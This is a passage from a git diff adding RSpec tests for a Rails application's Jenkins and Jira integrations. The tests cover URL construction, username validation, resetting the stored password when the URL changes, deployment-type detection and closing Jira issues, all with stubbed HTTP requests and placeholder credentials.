+ describe 'username validation' do
+ before do
+ @jenkins_service = described_class.create!(
+ active: active,
+ project: project,
+ properties: {
+ jenkins_url: 'http://jenkins.example.com/',
+ password: 'password',
+ username: 'username',
+ project_name: 'my_project'
+ }
+ )
+ end
+
+ subject { @jenkins_service }
+
+ context 'when the service is active' do
+ let(:active) { true }
+
+ context 'when password was not touched' do
+ before do
+ allow(subject).to receive(:password_touched?).and_return(false)
+ end
+
+ it { is_expected.not_to validate_presence_of :username }
+ end
+
+ context 'when password was touched' do
+ before do
+ allow(subject).to receive(:password_touched?).and_return(true)
+ end
+
+ it { is_expected.to validate_presence_of :username }
+ end
+
+ context 'when password is blank' do
+ it 'does not validate the username' do
+ expect(subject).not_to validate_presence_of :username
+
+ subject.password = ''
+ subject.save!
+ end
+ end
+ end
+
+ context 'when the service is inactive' do
+ let(:active) { false }
+
+ it { is_expected.not_to validate_presence_of :username }
+ end
+ end
+
+ describe '#hook_url' do
+ let(:username) { nil }
+ let(:password) { nil }
+ let(:jenkins_service) do
+ described_class.new(
+ project: project,
+ properties: {
+ jenkins_url: jenkins_url,
+ project_name: 'my_project',
+ username: username,
+ password: password
+ }
+ )
+ end
+
+ subject { jenkins_service.hook_url }
+
+ context 'when the jenkins_url has no relative path' do
+ let(:jenkins_url) { 'http://jenkins.example.com/' }
+
+ it { is_expected.to eq('http://jenkins.example.com/project/my_project') }
+ end
+
+ context 'when the jenkins_url has relative path' do
+ let(:jenkins_url) { 'http://organization.example.com/jenkins' }
+
+ it { is_expected.to eq('http://organization.example.com/jenkins/project/my_project') }
+ end
+
+ context 'userinfo is missing and username and password are set' do
+ let(:jenkins_url) { 'http://organization.example.com/jenkins' }
+ let(:username) { 'u$ername' }
+ let(:password) { 'pas$ word' }
+
+ it { is_expected.to eq('http://u%24ername:pas%24%20word@organization.example.com/jenkins/project/my_project') }
+ end
+
+ context 'userinfo is provided and username and password are set' do
+ let(:jenkins_url) { 'http://u:p@organization.example.com/jenkins' }
+ let(:username) { 'username' }
+ let(:password) { 'password' }
+
+ it { is_expected.to eq('http://username:password@organization.example.com/jenkins/project/my_project') }
+ end
+
+ context 'userinfo is provided username and password are not set' do
+ let(:jenkins_url) { 'http://u:p@organization.example.com/jenkins' }
+
+ it { is_expected.to eq('http://u:p@organization.example.com/jenkins/project/my_project') }
+ end
+ end
+
+ describe '#test' do
+ it 'returns the right status' do
+ user = create(:user, username: 'username')
+ project = create(:project, name: 'project')
+ push_sample_data = Gitlab::DataBuilder::Push.build_sample(project, user)
+ jenkins_service = described_class.create!(jenkins_params)
+ stub_request(:post, jenkins_hook_url).with(headers: { 'Authorization' => jenkins_authorization })
+
+ result = jenkins_service.test(push_sample_data)
+
+ expect(result).to eq({ success: true, result: '' })
+ end
+ end
+
+ describe '#execute' do
+ let(:user) { create(:user, username: 'username') }
+ let(:namespace) { create(:group, :private) }
+ let(:project) { create(:project, :private, name: 'project', namespace: namespace) }
+ let(:push_sample_data) { Gitlab::DataBuilder::Push.build_sample(project, user) }
+ let(:jenkins_service) { described_class.create!(jenkins_params) }
+
+ before do
+ stub_request(:post, jenkins_hook_url)
+ end
+
+ it 'invokes the Jenkins API' do
+ jenkins_service.execute(push_sample_data)
+
+ expect(a_request(:post, jenkins_hook_url)).to have_been_made.once
+ end
+
+ it 'adds default web hook headers to the request' do
+ jenkins_service.execute(push_sample_data)
+
+ expect(
+ a_request(:post, jenkins_hook_url)
+ .with(headers: { 'X-Gitlab-Event' => 'Push Hook', 'Authorization' => jenkins_authorization })
+ ).to have_been_made.once
+ end
+
+ it 'request url contains properly serialized username and password' do
+ jenkins_service.execute(push_sample_data)
+
+ expect(
+ a_request(:post, 'http://jenkins.example.com/project/my_project')
+ .with(headers: { 'Authorization' => jenkins_authorization })
+ ).to have_been_made.once
+ end
+ end
+
+ describe 'Stored password invalidation' do
+ let(:project) { create(:project) }
+
+ context 'when a password was previously set' do
+ before do
+ @jenkins_service = described_class.create!(
+ project: project,
+ properties: {
+ jenkins_url: 'http://jenkins.example.com/',
+ username: 'jenkins',
+ password: 'password'
+ }
+ )
+ end
+
+ it 'resets password if url changed' do
+ @jenkins_service.jenkins_url = 'http://jenkins-edited.example.com/'
+ @jenkins_service.save!
+ expect(@jenkins_service.password).to be_nil
+ end
+
+ it 'resets password if username is blank' do
+ @jenkins_service.username = ''
+ @jenkins_service.save!
+ expect(@jenkins_service.password).to be_nil
+ end
+
+ it 'does not reset password if username changed' do
+ @jenkins_service.username = 'some_name'
+ @jenkins_service.save!
+ expect(@jenkins_service.password).to eq('password')
+ end
+
+ it 'does not reset password if new url is set together with password, even if it\'s the same password' do
+ @jenkins_service.jenkins_url = 'http://jenkins_edited.example.com/'
+ @jenkins_service.password = 'password'
+ @jenkins_service.save!
+ expect(@jenkins_service.password).to eq('password')
+ expect(@jenkins_service.jenkins_url).to eq('http://jenkins_edited.example.com/')
+ end
+
+ it 'resets password if url changed, even if setter called multiple times' do
+ @jenkins_service.jenkins_url = 'http://jenkins1.example.com/'
+ @jenkins_service.jenkins_url = 'http://jenkins1.example.com/'
+ @jenkins_service.save!
+ expect(@jenkins_service.password).to be_nil
+ end
+ end
+
+ context 'when no password was previously set' do
+ before do
+ @jenkins_service = described_class.create!(
+ project: create(:project),
+ properties: {
+ jenkins_url: 'http://jenkins.example.com/',
+ username: 'jenkins'
+ }
+ )
+ end
+
+ it 'saves password if new url is set together with password' do
+ @jenkins_service.jenkins_url = 'http://jenkins_edited.example.com/'
+ @jenkins_service.password = 'password'
+ @jenkins_service.save!
+ expect(@jenkins_service.password).to eq('password')
+ expect(@jenkins_service.jenkins_url).to eq('http://jenkins_edited.example.com/')
+ end
+ end
+ end
+end
diff --git a/spec/models/integrations/jira_spec.rb b/spec/models/integrations/jira_spec.rb
new file mode 100644
index 00000000000..f6310866773
--- /dev/null
+++ b/spec/models/integrations/jira_spec.rb
@@ -0,0 +1,1081 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::Jira do
+ include AssetsHelpers
+
+ let_it_be(:project) { create(:project, :repository) }
+
+ let(:current_user) { build_stubbed(:user) }
+ let(:url) { 'http://jira.example.com' }
+ let(:api_url) { 'http://api-jira.example.com' }
+ let(:username) { 'jira-username' }
+ let(:password) { 'jira-password' }
+ let(:transition_id) { 'test27' }
+ let(:server_info_results) { { 'deploymentType' => 'Cloud' } }
+ let(:jira_service) do
+ described_class.new(
+ project: project,
+ url: url,
+ username: username,
+ password: password
+ )
+ end
+
+ before do
+ WebMock.stub_request(:get, /serverInfo/).to_return(body: server_info_results.to_json )
+ end
+
+ describe '#options' do
+ let(:options) do
+ {
+ project: project,
+ active: true,
+ username: 'username',
+ password: 'test',
+ jira_issue_transition_id: 24,
+ url: 'http://jira.test.com:1234/path/'
+ }
+ end
+
+ let(:integration) { described_class.create!(options) }
+
+ it 'sets the URL properly' do
+ # jira-ruby gem parses the URI and handles trailing slashes fine:
+ # https://github.com/sumoheavy/jira-ruby/blob/v1.7.0/lib/jira/http_client.rb#L62
+ expect(integration.options[:site]).to eq('http://jira.test.com:1234')
+ end
+
+ it 'leaves out trailing slashes in context' do
+ expect(integration.options[:context_path]).to eq('/path')
+ end
+
+ context 'URL without a path' do
+ before do
+ integration.url = 'http://jira.test.com/'
+ end
+
+ it 'leaves out trailing slashes in context' do
+ expect(integration.options[:site]).to eq('http://jira.test.com')
+ expect(integration.options[:context_path]).to eq('')
+ end
+ end
+
+ context 'URL with query string parameters' do
+ before do
+ integration.url << '?nosso&foo=bar'
+ end
+
+ it 'removes query string parameters' do
+ expect(integration.options[:site]).to eq('http://jira.test.com:1234')
+ expect(integration.options[:context_path]).to eq('/path')
+ end
+ end
+
+ context 'username with trailing whitespaces' do
+ before do
+ options.merge!(username: 'username ')
+ end
+
+ it 'leaves out trailing whitespaces in username' do
+ expect(integration.options[:username]).to eq('username')
+ end
+ end
+
+ it 'provides additional cookies to allow basic auth with oracle webgate' do
+ expect(integration.options[:use_cookies]).to eq(true)
+ expect(integration.options[:additional_cookies]).to eq(['OBBasicAuth=fromDialog'])
+ end
+
+ context 'using api URL' do
+ before do
+ options.merge!(api_url: 'http://jira.test.com/api_path/')
+ end
+
+ it 'leaves out trailing slashes in context' do
+ expect(integration.options[:context_path]).to eq('/api_path')
+ end
+ end
+ end
+
+ describe '#fields' do
+ let(:service) { create(:jira_service) }
+
+ subject(:fields) { service.fields }
+
+ it 'returns custom fields' do
+ expect(fields.pluck(:name)).to eq(%w[url api_url username password])
+ end
+ end
+
+ describe 'Associations' do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe '.reference_pattern' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:key, :result) do
+ '#123' | ''
+ '1#23#12' | ''
+ 'JIRA-1234A' | 'JIRA-1234'
+ 'JIRA-1234-some_tag' | 'JIRA-1234'
+ 'JIRA-1234_some_tag' | 'JIRA-1234'
+ 'EXT_EXT-1234' | 'EXT_EXT-1234'
+ 'EXT3_EXT-1234' | 'EXT3_EXT-1234'
+ '3EXT_EXT-1234' | ''
+ end
+
+ with_them do
+ specify do
+ expect(described_class.reference_pattern.match(key).to_s).to eq(result)
+ end
+ end
+ end
+
+ describe '#create' do
+ let(:params) do
+ {
+ project: project,
+ url: url,
+ api_url: api_url,
+ username: username, password: password,
+ jira_issue_transition_id: transition_id
+ }
+ end
+
+ subject { described_class.create!(params) }
+
+ it 'does not store data into properties' do
+ expect(subject.properties).to be_nil
+ end
+
+ it 'stores data in data_fields correctly' do
+ service = subject
+
+ expect(service.jira_tracker_data.url).to eq(url)
+ expect(service.jira_tracker_data.api_url).to eq(api_url)
+ expect(service.jira_tracker_data.username).to eq(username)
+ expect(service.jira_tracker_data.password).to eq(password)
+ expect(service.jira_tracker_data.jira_issue_transition_id).to eq(transition_id)
+ expect(service.jira_tracker_data.deployment_cloud?).to be_truthy
+ end
+
+ context 'when loading serverInfo' do
+ let(:jira_service) { subject }
+
+ context 'from a Cloud instance' do
+ let(:server_info_results) { { 'deploymentType' => 'Cloud' } }
+
+ it 'is detected' do
+ expect(jira_service.jira_tracker_data.deployment_cloud?).to be_truthy
+ end
+ end
+
+ context 'from a Server instance' do
+ let(:server_info_results) { { 'deploymentType' => 'Server' } }
+
+ it 'is detected' do
+ expect(jira_service.jira_tracker_data.deployment_server?).to be_truthy
+ end
+ end
+
+ context 'from an Unknown instance' do
+ let(:server_info_results) { { 'deploymentType' => 'FutureCloud' } }
+
+ context 'and URL ends in .atlassian.net' do
+ let(:api_url) { 'http://example-api.atlassian.net' }
+
+ it 'deployment_type is set to cloud' do
+ expect(jira_service.jira_tracker_data.deployment_cloud?).to be_truthy
+ end
+ end
+
+ context 'and URL is something else' do
+ let(:api_url) { 'http://my-jira-api.someserver.com' }
+
+ it 'deployment_type is set to server' do
+ expect(jira_service.jira_tracker_data.deployment_server?).to be_truthy
+ end
+ end
+ end
+
+ context 'and no ServerInfo response is received' do
+ let(:server_info_results) { {} }
+
+ context 'and URL ends in .atlassian.net' do
+ let(:api_url) { 'http://example-api.atlassian.net' }
+
+ it 'deployment_type is set to cloud' do
+ expect(Gitlab::AppLogger).to receive(:warn).with(message: "Jira API returned no ServerInfo, setting deployment_type from URL", server_info: server_info_results, url: api_url)
+ expect(jira_service.jira_tracker_data.deployment_cloud?).to be_truthy
+ end
+ end
+
+ context 'and URL is something else' do
+ let(:api_url) { 'http://my-jira-api.someserver.com' }
+
+ it 'deployment_type is set to server' do
+ expect(Gitlab::AppLogger).to receive(:warn).with(message: "Jira API returned no ServerInfo, setting deployment_type from URL", server_info: server_info_results, url: api_url)
+ expect(jira_service.jira_tracker_data.deployment_server?).to be_truthy
+ end
+ end
+ end
+ end
+ end
+
+ # we need to make sure we are able to read both from properties and jira_tracker_data table
+ # TODO: change this as part of https://gitlab.com/gitlab-org/gitlab/issues/29404
+ context 'overriding properties' do
+ let(:access_params) do
+ { url: url, api_url: api_url, username: username, password: password,
+ jira_issue_transition_id: transition_id }
+ end
+
+ let(:data_params) do
+ {
+ url: url, api_url: api_url,
+ username: username, password: password,
+ jira_issue_transition_id: transition_id
+ }
+ end
+
+ shared_examples 'handles jira fields' do
+ let(:data_params) do
+ {
+ url: url, api_url: api_url,
+ username: username, password: password,
+ jira_issue_transition_id: transition_id
+ }
+ end
+
+ context 'reading data' do
+ it 'reads data correctly' do
+ expect(service.url).to eq(url)
+ expect(service.api_url).to eq(api_url)
+ expect(service.username).to eq(username)
+ expect(service.password).to eq(password)
+ expect(service.jira_issue_transition_id).to eq(transition_id)
+ end
+ end
+
+ describe '#update' do
+ context 'basic update' do
+ let_it_be(:new_username) { 'new_username' }
+ let_it_be(:new_url) { 'http://jira-new.example.com' }
+
+ before do
+ service.update!(username: new_username, url: new_url)
+ end
+
+ it 'leaves properties field emtpy' do
+ # expect(service.reload.properties).to be_empty
+ end
+
+ it 'stores updated data in jira_tracker_data table' do
+ data = service.jira_tracker_data.reload
+
+ expect(data.url).to eq(new_url)
+ expect(data.api_url).to eq(api_url)
+ expect(data.username).to eq(new_username)
+ expect(data.password).to eq(password)
+ expect(data.jira_issue_transition_id).to eq(transition_id)
+ end
+ end
+
+ context 'when updating the url, api_url, username, or password' do
+ context 'when updating the integration' do
+ it 'updates deployment type' do
+ service.update!(url: 'http://first.url')
+ service.jira_tracker_data.update!(deployment_type: 'server')
+
+ expect(service.jira_tracker_data.deployment_server?).to be_truthy
+
+ service.update!(api_url: 'http://another.url')
+ service.jira_tracker_data.reload
+
+ expect(service.jira_tracker_data.deployment_cloud?).to be_truthy
+ expect(WebMock).to have_requested(:get, /serverInfo/).twice
+ end
+ end
+
+ context 'when removing the integration' do
+ let(:server_info_results) { {} }
+
+ it 'updates deployment type' do
+ service.update!(url: nil, api_url: nil, active: false)
+
+ service.jira_tracker_data.reload
+
+ expect(service.jira_tracker_data.deployment_unknown?).to be_truthy
+ end
+ end
+
+ it 'calls serverInfo for url' do
+ service.update!(url: 'http://first.url')
+
+ expect(WebMock).to have_requested(:get, /serverInfo/)
+ end
+
+ it 'calls serverInfo for api_url' do
+ service.update!(api_url: 'http://another.url')
+
+ expect(WebMock).to have_requested(:get, /serverInfo/)
+ end
+
+ it 'calls serverInfo for username' do
+ service.update!(username: 'test-user')
+
+ expect(WebMock).to have_requested(:get, /serverInfo/)
+ end
+
+ it 'calls serverInfo for password' do
+ service.update!(password: 'test-password')
+
+ expect(WebMock).to have_requested(:get, /serverInfo/)
+ end
+ end
+
+ context 'when not updating the url, api_url, username, or password' do
+ it 'does not update deployment type' do
+ expect {service.update!(jira_issue_transition_id: 'jira_issue_transition_id')}.to raise_error(ActiveRecord::RecordInvalid)
+
+ expect(WebMock).not_to have_requested(:get, /serverInfo/)
+ end
+ end
+
+ context 'when not allowed to test an instance or group' do
+ it 'does not update deployment type' do
+ allow(service).to receive(:can_test?).and_return(false)
+
+ service.update!(url: 'http://first.url')
+
+ expect(WebMock).not_to have_requested(:get, /serverInfo/)
+ end
+ end
+
+ context 'stored password invalidation' do
+ context 'when a password was previously set' do
+ context 'when only web url present' do
+ let(:data_params) do
+ {
+ url: url, api_url: nil,
+ username: username, password: password,
+ jira_issue_transition_id: transition_id
+ }
+ end
+
+ it 'resets password if url changed' do
+ service
+ service.url = 'http://jira_edited.example.com'
+ service.save!
+
+ expect(service.reload.url).to eq('http://jira_edited.example.com')
+ expect(service.password).to be_nil
+ end
+
+ it 'does not reset password if url "changed" to the same url as before' do
+ service.url = 'http://jira.example.com'
+ service.save!
+
+ expect(service.reload.url).to eq('http://jira.example.com')
+ expect(service.password).not_to be_nil
+ end
+
+ it 'resets password if url not changed but api url added' do
+ service.api_url = 'http://jira_edited.example.com/rest/api/2'
+ service.save!
+
+ expect(service.reload.api_url).to eq('http://jira_edited.example.com/rest/api/2')
+ expect(service.password).to be_nil
+ end
+
+ it 'does not reset password if new url is set together with password, even if it\'s the same password' do
+ service.url = 'http://jira_edited.example.com'
+ service.password = password
+ service.save!
+
+ expect(service.password).to eq(password)
+ expect(service.url).to eq('http://jira_edited.example.com')
+ end
+
+ it 'resets password if url changed, even if setter called multiple times' do
+ service.url = 'http://jira1.example.com/rest/api/2'
+ service.url = 'http://jira1.example.com/rest/api/2'
+ service.save!
+
+ expect(service.password).to be_nil
+ end
+
+ it 'does not reset password if username changed' do
+ service.username = 'some_name'
+ service.save!
+
+ expect(service.reload.password).to eq(password)
+ end
+
+ it 'does not reset password if password changed' do
+ service.url = 'http://jira_edited.example.com'
+ service.password = 'new_password'
+ service.save!
+
+ expect(service.reload.password).to eq('new_password')
+ end
+
+ it 'does not reset password if the password is touched and same as before' do
+ service.url = 'http://jira_edited.example.com'
+ service.password = password
+ service.save!
+
+ expect(service.reload.password).to eq(password)
+ end
+ end
+
+ context 'when both web and api url present' do
+ let(:data_params) do
+ {
+ url: url, api_url: 'http://jira.example.com/rest/api/2',
+ username: username, password: password,
+ jira_issue_transition_id: transition_id
+ }
+ end
+
+ it 'resets password if api url changed' do
+ service.api_url = 'http://jira_edited.example.com/rest/api/2'
+ service.save!
+
+ expect(service.password).to be_nil
+ end
+
+ it 'does not reset password if url changed' do
+ service.url = 'http://jira_edited.example.com'
+ service.save!
+
+ expect(service.password).to eq(password)
+ end
+
+ it 'resets password if api url set to empty' do
+ service.update!(api_url: '')
+
+ expect(service.reload.password).to be_nil
+ end
+ end
+ end
+
+ context 'when no password was previously set' do
+ let(:data_params) do
+ {
+ url: url, username: username
+ }
+ end
+
+ it 'saves password if new url is set together with password' do
+ service.url = 'http://jira_edited.example.com/rest/api/2'
+ service.password = 'password'
+ service.save!
+ expect(service.reload.password).to eq('password')
+ expect(service.reload.url).to eq('http://jira_edited.example.com/rest/api/2')
+ end
+ end
+ end
+ end
+ end
+
+ # this will be removed as part of https://gitlab.com/gitlab-org/gitlab/issues/29404
+ context 'when data are stored in properties' do
+ let(:properties) { data_params }
+ let!(:service) do
+ create(:jira_service, :without_properties_callback, properties: properties.merge(additional: 'something'))
+ end
+
+ it_behaves_like 'handles jira fields'
+ end
+
+ context 'when data are stored in separated fields' do
+ let(:service) do
+ create(:jira_service, data_params.merge(properties: {}))
+ end
+
+ it_behaves_like 'handles jira fields'
+ end
+
+ context 'when data are stored in both properties and separated fields' do
+ let(:properties) { data_params }
+ let(:service) do
+ create(:jira_service, :without_properties_callback, active: false, properties: properties).tap do |integration|
+ create(:jira_tracker_data, data_params.merge(integration: integration))
+ end
+ end
+
+ it_behaves_like 'handles jira fields'
+ end
+ end
+
+ describe '#find_issue' do
+ let(:issue_key) { 'JIRA-123' }
+ let(:issue_url) { "#{url}/rest/api/2/issue/#{issue_key}" }
+
+ before do
+ stub_request(:get, issue_url).with(basic_auth: [username, password])
+ end
+
+ it 'call the Jira API to get the issue' do
+ jira_service.find_issue(issue_key)
+
+ expect(WebMock).to have_requested(:get, issue_url)
+ end
+
+ context 'with options' do
+ let(:issue_url) { "#{url}/rest/api/2/issue/#{issue_key}?expand=renderedFields,transitions" }
+
+ it 'calls the Jira API with the options to get the issue' do
+ jira_service.find_issue(issue_key, rendered_fields: true, transitions: true)
+
+ expect(WebMock).to have_requested(:get, issue_url)
+ end
+ end
+ end
+
+ describe '#close_issue' do
+ let(:custom_base_url) { 'http://custom_url' }
+
+ shared_examples 'close_issue' do
+ let(:issue_key) { 'JIRA-123' }
+ let(:issue_url) { "#{url}/rest/api/2/issue/#{issue_key}" }
+ let(:transitions_url) { "#{issue_url}/transitions" }
+ let(:comment_url) { "#{issue_url}/comment" }
+ let(:remote_link_url) { "#{issue_url}/remotelink" }
+ let(:transitions) { nil }
+
+ let(:issue_fields) do
+ {
+ id: issue_key,
+ self: issue_url,
+ transitions: transitions
+ }
+ end
+
+ subject(:close_issue) do
+ jira_service.close_issue(resource, ExternalIssue.new(issue_key, project))
+ end
+
+ before do
+ jira_service.jira_issue_transition_id = '999'
+
+ # These stubs are needed to test Integrations::Jira#close_issue.
+ # We close the issue then do another request to API to check if it got closed.
+ # Here is stubbed the API return with a closed and an opened issues.
+ open_issue = JIRA::Resource::Issue.new(jira_service.client, attrs: issue_fields.deep_stringify_keys)
+ closed_issue = open_issue.dup
+ allow(open_issue).to receive(:resolution).and_return(false)
+ allow(closed_issue).to receive(:resolution).and_return(true)
+ allow(JIRA::Resource::Issue).to receive(:find).and_return(open_issue, closed_issue)
+
+ allow_any_instance_of(JIRA::Resource::Issue).to receive(:key).and_return(issue_key)
+ allow(JIRA::Resource::Remotelink).to receive(:all).and_return([])
+
+ WebMock.stub_request(:get, issue_url).with(basic_auth: %w(jira-username jira-password))
+ WebMock.stub_request(:post, transitions_url).with(basic_auth: %w(jira-username jira-password))
+ WebMock.stub_request(:post, comment_url).with(basic_auth: %w(jira-username jira-password))
+ WebMock.stub_request(:post, remote_link_url).with(basic_auth: %w(jira-username jira-password))
+ end
+
+ let(:external_issue) { ExternalIssue.new('JIRA-123', project) }
+
+ def close_issue
+ jira_service.close_issue(resource, external_issue, current_user)
+ end
+
+ it 'calls Jira API' do
+ close_issue
+
+ expect(WebMock).to have_requested(:post, comment_url).with(
+ body: /Issue solved with/
+ ).once
+ end
+
+ it 'tracks usage' do
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter)
+ .to receive(:track_event)
+ .with('i_ecosystem_jira_service_close_issue', values: current_user.id)
+
+ close_issue
+ end
+
+ it 'does not fail if remote_link.all on issue returns nil' do
+ allow(JIRA::Resource::Remotelink).to receive(:all).and_return(nil)
+
+ expect { close_issue }.not_to raise_error
+ end
+
+ # Check https://developer.atlassian.com/jiradev/jira-platform/guides/other/guide-jira-remote-issue-links/fields-in-remote-issue-links
+ # for more information
+ it 'creates Remote Link reference in Jira for comment' do
+ close_issue
+
+ favicon_path = "http://localhost/assets/#{find_asset('favicon.png').digest_path}"
+
+ # Creates comment
+ expect(WebMock).to have_requested(:post, comment_url)
+ # Creates Remote Link in Jira issue fields
+ expect(WebMock).to have_requested(:post, remote_link_url).with(
+ body: hash_including(
+ GlobalID: 'GitLab',
+ relationship: 'mentioned on',
+ object: {
+ url: "#{Gitlab.config.gitlab.url}/#{project.full_path}/-/commit/#{commit_id}",
+ title: "Solved by commit #{commit_id}.",
+ icon: { title: 'GitLab', url16x16: favicon_path },
+ status: { resolved: true }
+ }
+ )
+ ).once
+ end
+
+ context 'when "comment_on_event_enabled" is set to false' do
+ it 'creates Remote Link reference but does not create comment' do
+ allow(jira_service).to receive_messages(comment_on_event_enabled: false)
+ close_issue
+
+ expect(WebMock).not_to have_requested(:post, comment_url)
+ expect(WebMock).to have_requested(:post, remote_link_url)
+ end
+ end
+
+ context 'when Remote Link already exists' do
+ let(:remote_link) do
+ double(
+ 'remote link',
+ object: {
+ url: "#{Gitlab.config.gitlab.url}/#{project.full_path}/-/commit/#{commit_id}"
+ }.with_indifferent_access
+ )
+ end
+
+ it 'does not create comment' do
+ allow(JIRA::Resource::Remotelink).to receive(:all).and_return([remote_link])
+
+ expect(remote_link).to receive(:save!)
+
+ close_issue
+
+ expect(WebMock).not_to have_requested(:post, comment_url)
+ end
+ end
+
+ it 'does not send comment or remote links to issues already closed' do
+ allow_any_instance_of(JIRA::Resource::Issue).to receive(:resolution).and_return(true)
+
+ close_issue
+
+ expect(WebMock).not_to have_requested(:post, comment_url)
+ expect(WebMock).not_to have_requested(:post, remote_link_url)
+ end
+
+ it 'does not send comment or remote links to issues with unknown resolution' do
+ allow_any_instance_of(JIRA::Resource::Issue).to receive(:respond_to?).with(:resolution).and_return(false)
+
+ close_issue
+
+ expect(WebMock).not_to have_requested(:post, comment_url)
+ expect(WebMock).not_to have_requested(:post, remote_link_url)
+ end
+
+ it 'references the GitLab commit' do
+ stub_config_setting(base_url: custom_base_url)
+
+ close_issue
+
+ expect(WebMock).to have_requested(:post, comment_url).with(
+ body: %r{#{custom_base_url}/#{project.full_path}/-/commit/#{commit_id}}
+ ).once
+ end
+
+ it 'references the GitLab commit' do
+ stub_config_setting(relative_url_root: '/gitlab')
+ stub_config_setting(url: Settings.send(:build_gitlab_url))
+
+ allow(described_class).to receive(:default_url_options) do
+ { script_name: '/gitlab' }
+ end
+
+ close_issue
+
+ expect(WebMock).to have_requested(:post, comment_url).with(
+ body: %r{#{Gitlab.config.gitlab.url}/#{project.full_path}/-/commit/#{commit_id}}
+ ).once
+ end
+
+ it 'logs exception when transition id is not valid' do
+ allow(jira_service).to receive(:log_error)
+ WebMock.stub_request(:post, transitions_url).with(basic_auth: %w(jira-username jira-password)).and_raise("Bad Request")
+
+ close_issue
+
+ expect(jira_service).to have_received(:log_error).with(
+ "Issue transition failed",
+ error: hash_including(
+ exception_class: 'StandardError',
+ exception_message: "Bad Request"
+ ),
+ client_url: "http://jira.example.com"
+ )
+ end
+
+ it 'calls the api with jira_issue_transition_id' do
+ close_issue
+
+ expect(WebMock).to have_requested(:post, transitions_url).with(
+ body: /"id":"999"/
+ ).once
+ end
+
+ context 'when custom transition IDs are blank' do
+ before do
+ jira_service.jira_issue_transition_id = ''
+ end
+
+ it 'does not transition the issue' do
+ close_issue
+
+ expect(WebMock).not_to have_requested(:post, transitions_url)
+ end
+ end
+
+ context 'when using automatic issue transitions' do
+ let(:transitions) do
+ [
+ { id: '1' },
+ { id: '2', to: { statusCategory: { key: 'new' } } },
+ { id: '3', to: { statusCategory: { key: 'done' } } },
+ { id: '4', to: { statusCategory: { key: 'done' } } }
+ ]
+ end
+
+ before do
+ jira_service.jira_issue_transition_automatic = true
+
+ close_issue
+ end
+
+ it 'uses the next transition with a status category of done' do
+ expect(WebMock).to have_requested(:post, transitions_url).with(
+ body: /"id":"3"/
+ ).once
+ end
+
+ context 'when no done transition is available' do
+ let(:transitions) do
+ [
+ { id: '1', to: { statusCategory: { key: 'new' } } }
+ ]
+ end
+
+ it 'does not attempt to transition' do
+ expect(WebMock).not_to have_requested(:post, transitions_url)
+ end
+ end
+
+ context 'when no valid transitions are returned' do
+ let(:transitions) { 'foo' }
+
+ it 'does not attempt to transition' do
+ expect(WebMock).not_to have_requested(:post, transitions_url)
+ end
+ end
+ end
+
+ context 'when using multiple transition ids' do
+ before do
+ allow(jira_service).to receive_messages(jira_issue_transition_id: '1,2,3')
+ end
+
+ it 'calls the api with transition ids separated by comma' do
+ close_issue
+
+ 1.upto(3) do |transition_id|
+ expect(WebMock).to have_requested(:post, transitions_url).with(
+ body: /"id":"#{transition_id}"/
+ ).once
+ end
+
+ expect(WebMock).to have_requested(:post, comment_url)
+ end
+
+ it 'calls the api with transition ids separated by semicolon' do
+ allow(jira_service).to receive_messages(jira_issue_transition_id: '1;2;3')
+
+ close_issue
+
+ 1.upto(3) do |transition_id|
+ expect(WebMock).to have_requested(:post, transitions_url).with(
+ body: /"id":"#{transition_id}"/
+ ).once
+ end
+
+ expect(WebMock).to have_requested(:post, comment_url)
+ end
+
+ context 'when a transition fails' do
+ before do
+ WebMock.stub_request(:post, transitions_url).with(basic_auth: %w(jira-username jira-password)).to_return do |request|
+ { status: request.body.include?('"id":"2"') ? 500 : 200 }
+ end
+ end
+
+ it 'stops the sequence' do
+ close_issue
+
+ 1.upto(2) do |transition_id|
+ expect(WebMock).to have_requested(:post, transitions_url).with(
+ body: /"id":"#{transition_id}"/
+ )
+ end
+
+ expect(WebMock).not_to have_requested(:post, transitions_url).with(
+ body: /"id":"3"/
+ )
+
+ expect(WebMock).not_to have_requested(:post, comment_url)
+ end
+ end
+ end
+ end
+
+ context 'when resource is a merge request' do
+ let(:resource) { create(:merge_request) }
+ let(:commit_id) { resource.diff_head_sha }
+
+ it_behaves_like 'close_issue'
+ end
+
+ context 'when resource is a commit' do
+ let(:resource) { project.commit('master') }
+ let(:commit_id) { resource.id }
+
+ it_behaves_like 'close_issue'
+ end
+ end
+
+ describe '#create_cross_reference_note' do
+ let_it_be(:user) { build_stubbed(:user) }
+
+ let(:jira_issue) { ExternalIssue.new('JIRA-123', project) }
+
+ subject { jira_service.create_cross_reference_note(jira_issue, resource, user) }
+
+ shared_examples 'creates a comment on Jira' do
+ let(:issue_url) { "#{url}/rest/api/2/issue/JIRA-123" }
+ let(:comment_url) { "#{issue_url}/comment" }
+ let(:remote_link_url) { "#{issue_url}/remotelink" }
+
+ before do
+ allow(JIRA::Resource::Remotelink).to receive(:all).and_return([])
+ stub_request(:get, issue_url).with(basic_auth: [username, password])
+ stub_request(:post, comment_url).with(basic_auth: [username, password])
+ stub_request(:post, remote_link_url).with(basic_auth: [username, password])
+ end
+
+ it 'creates a comment on Jira' do
+ subject
+
+ expect(WebMock).to have_requested(:post, comment_url).with(
+ body: /mentioned this issue in/
+ ).once
+ end
+
+ it 'tracks usage' do
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter)
+ .to receive(:track_event)
+ .with('i_ecosystem_jira_service_cross_reference', values: user.id)
+
+ subject
+ end
+ end
+
+ context 'when resource is a commit' do
+ let(:resource) { project.commit('master') }
+
+ context 'when disabled' do
+ before do
+ allow_next_instance_of(described_class) do |instance|
+ allow(instance).to receive(:commit_events) { false }
+ end
+ end
+
+ it { is_expected.to eq('Events for commits are disabled.') }
+ end
+
+ context 'when enabled' do
+ it_behaves_like 'creates a comment on Jira'
+ end
+ end
+
+ context 'when resource is a merge request' do
+ let(:resource) { build_stubbed(:merge_request, source_project: project) }
+
+ context 'when disabled' do
+ before do
+ allow_next_instance_of(described_class) do |instance|
+ allow(instance).to receive(:merge_requests_events) { false }
+ end
+ end
+
+ it { is_expected.to eq('Events for merge requests are disabled.') }
+ end
+
+ context 'when enabled' do
+ it_behaves_like 'creates a comment on Jira'
+ end
+ end
+ end
+
+ describe '#test' do
+ let(:server_info_results) { { 'url' => 'http://url', 'deploymentType' => 'Cloud' } }
+
